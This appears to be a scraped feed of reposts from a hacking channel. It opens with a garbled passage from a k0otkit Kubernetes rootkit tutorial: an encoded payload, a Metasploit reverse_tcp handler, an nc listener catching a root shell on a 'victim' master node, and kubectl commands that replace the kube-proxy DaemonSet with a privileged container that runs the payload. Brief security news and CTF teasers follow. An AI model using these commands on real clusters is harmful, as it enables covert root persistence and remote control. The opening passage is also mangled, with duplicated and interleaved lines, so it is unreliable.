wMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
*

Run the reverse shell handler:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[] Exploit running as background job 0. [] Exploit completed, but no session was created.

Copy the content of k0otkit.shinto your shell on the master node of the target Kubernetes and press :

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 …
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ containers:/{print NR}’)
volume_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ volumes:/{print NR}’)
image=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep ” image:” | awk ‘{print $2}’)
create payload secret
cat <<&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}’\”]\n env:\n – name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n – mountPath: $mount_path\n name: $volume_name” \ containers:/{print NR}’)oxy -o yaml | awk ‘/ root@victim-2:~# root@victim-2:~# volume_line_num=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk ‘/ volumes:/{print NR}’) root@victim-2:~# root@victim-2:~# image=$(kubectl –kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep ” image:” | awk ‘{print $2}’) root@victim-2:~# root@victim-2:~# # create payload secret root@victim-2:~# cat <<&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H/, ; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}’\”]\n env:\n – name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n – mountPath: $mount_path\n name: $volume_name” \
kubectl replace -f –
daemonset.extensions/kube-proxy replaced Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Labtainers : A Docker-based Cyber Lab Framework

Labtainers include more than 50 cyber lab exercises and tools to build your own. Import a single VM appliance or install on a Linux system and your students are done with provisioning and administrative setup, for these and future lab exercises.

* Consistent lab execution environments and automated provisioning via Docker containers
* Multi-component network topologies on a modestly performing laptop computer
* Automated assessment of student lab activity and progress
* Individualized lab exercises to discourage sharing solutions

Labtainers provide controlled and consistent execution environments in which students perform labs entirely within the confines of their computer, regardless of the Linux distribution and packages installed on the student’s computer. Labtainers run on our [VM appliance][vm-appliancee], or on any Linux with Dockers installed. And Labtainers is available as cloud-based VMs, e.g., on Azure

See the Student Guide for installation and use, and the Instructor Guide for student assessment. Developing and customizing lab exercises is described in the Designer Guide. See the Papers for additional information about the framework. The Labtainers website, and downloads (including VM appliances with Labtainers pre-installed) are at https://nps.edu/web/c3o/labtainers.
Download

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
You Better Watch Out: Your iPhone Can Get A Virus From Safari

https://cdn-images-1.medium.com/max/1024/0*v1zPqs-WW7i6LGRn.jpg
It’s possible that you’ve heard that an iPhone cannot get a virus, but this is untrue and the result of former deceptive marketing by…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nyx: 1 Vulnhub Walkthrough

https://cdn-images-1.medium.com/max/600/1*VyNdLDII-OmH78ztM4w3VQ.png
Hey folks, Ashish this side. Today we are going to crack this vulnerable machine called Nyx: 1. It is created by 0xatom. This is a Capture…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Athena OS - Dive into a new PentOS

https://external-preview.redd.it/FjQ1fWePz7OCBSNMYvihMAmAoqxZ4Q5OJpXxCiUan04.jpg?width=640&crop=smart&auto=webp&s=5d26ffaebce689f25fb2b13459bbe7dc143928c3 submitted by /u/D3vil0p
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How to find online friend's real name

I think my friend killed himself, and I really need to find his exact apartment number and real name so I can call the police to do a well-fare check on him. I have his snapchat and discord, but that's it. Does anyone know how I can find it? Thanks

submitted by /u/1llum1nat1onn
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

The beginning of my future...
https://www.reddit.com/r/Pentesting/comments/vyqwp7/the_beginning_of_my_future/

Hello reddit! Now I am 16 years old and in the future I want to become a "hacker" - pentester, because I see this world in the next 100 years as closely connected with information activities, at the moment I am starting this path with learning Python and I am serious about it. I would like you to help me with your advice and guidance. I would be grateful if there is a person who is already in this field and will become for me a kind of teacher who will help me along the way. ​ Thank you all, good vibes! And forgive me for my English - it's not my native language, good luck! :) submitted by /u/Lqont (https://www.reddit.com/user/Lqont)
[link] (https://www.reddit.com/r/Pentesting/comments/vyqwp7/the_beginning_of_my_future/) [comments] (https://www.reddit.com/r/Pentesting/comments/vyqwp7/the_beginning_of_my_future/)

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Microsoft releases tweet-size exploit for macOS sandbox escape bug

Microsoft releases tweet-size exploit for macOS sandbox escape bugPost Views: 22 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 2 Minutes
Microsoft has published the exploit code for a vulnerability in macOS that could help an attacker bypass sandbox restrictions and run code on the system.

The company released the technical details for the security issue, which is currently identified as CVE-2022-26706, and explained how the macOS App Sandbox rules could be avoided to allow malicious macro code in Word documents to execute commands on the machine.

Abusing macros in Office documents to deploy malware has long been an efficient and popular technique to compromise Windows systems.

The same could be achieved on macOS machines lacking the proper security updates, Microsoft warns in a report today.
“Despite the security restrictions imposed by the App Sandbox’s rules on applications, it’s possible for attackers to bypass the said rules and let malicious codes “escape” the sandbox and execute arbitrary commands on an affected device” – Microsoft
Jonathan Bar Or of the Microsoft 365 Defender Research Team explains that the vulnerability was discovered while looking into methods to run and detect malicious macros in Microsoft Office documents on macOS.

To ensure backward compatibility, Microsoft Word can read and write files that come with the prefix “~$,” which is defined in the app’s sandbox rules.
https://www.bleepstatic.com/images/news/u/1100723/2022/MSWord-sandbox-rule.png
Exploit code in a tweetAfter studying older reports [1, 2] about escaping the macOS sandbox, the researchers found that using Launch Services to run an open –stdin command on a special Python file with the abovementioned prefix allows escaping the App Sandbox on macOS, potentially leading to compromising the system.

The researchers came up with a proof-of-concept (PoC) that used the -stdin option for the open Command on a Python file to bypass the “com.apple.quarantine” extended attribute restriction.

The demo exploit code is as simple as dropping a Python file that contains arbitrary commands and has in its name the special prefix for Word.

Using the open -stdin command starts the Python app with the specially crafted file as the standard input.

“Python happily runs our code, and since it’s a child process of launchd, it isn’t bound to Word’s sandbox rules,” Jonathan Or Bar explains.
https://www.bleepstatic.com/images/news/u/1100723/2022/macOS_SBX_Microsoft.png
___________________________
@hacking_Attack
@Hacking_Video

s about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: bleepingcomputer.com Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/Images_for_the_Website_posts-300x150.png Microsoft fixes dozens of Azure Site Recovery privilege escalation bugsJuly 13, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/FTDZNGKMCJPIDKR5RE7MSLIMB4-scaled-300x150.jpg News – new template postJuly 13, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/remotelyunlock-honda-1-1-300x150.jpg Hackers Say They Can Unlock and Start Honda Cars RemotelyJuly 12, 2022
Reading Time: 4 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/07/ezgif.com-gif-maker-3-300x150.jpg Hackers Used Fake LinkedIn Job Offer to Hack Off $625M from Axie InfinityJuly 11, 2022
Reading Time: 4 minutes
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post Microsoft releases tweet-size exploit for macOS sandbox escape bug first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Recon em ASN’s

Esse artigo visa demonstrar de forma básica o recon em ASN’s. Antes de entrarmos no assunto de recon em ASN’s, é preciso falar de alguns…Continue reading on Medium »
Read more...

Hacking on Medium
Hacking for Beginners: Exploiting Open Ports

https://cdn-images-1.medium.com/max/800/1*VwwDGO4M5CWwiHtoErArMw.jpeg
So, last time I walked through a very simple execution of getting inside an office camera using a few scripts and an open RTSP port. This…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Bandit lvl 0

https://cdn-images-1.medium.com/max/1700/1*ZDFbmDzQm1MoOfeTWUEKPw.jpeg
Hi ,Today goona solve bandit level0 CTF

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Trufflehog - Find Credentials All Over The Place

___________________________
@hacking_Attack
@Hacking_Video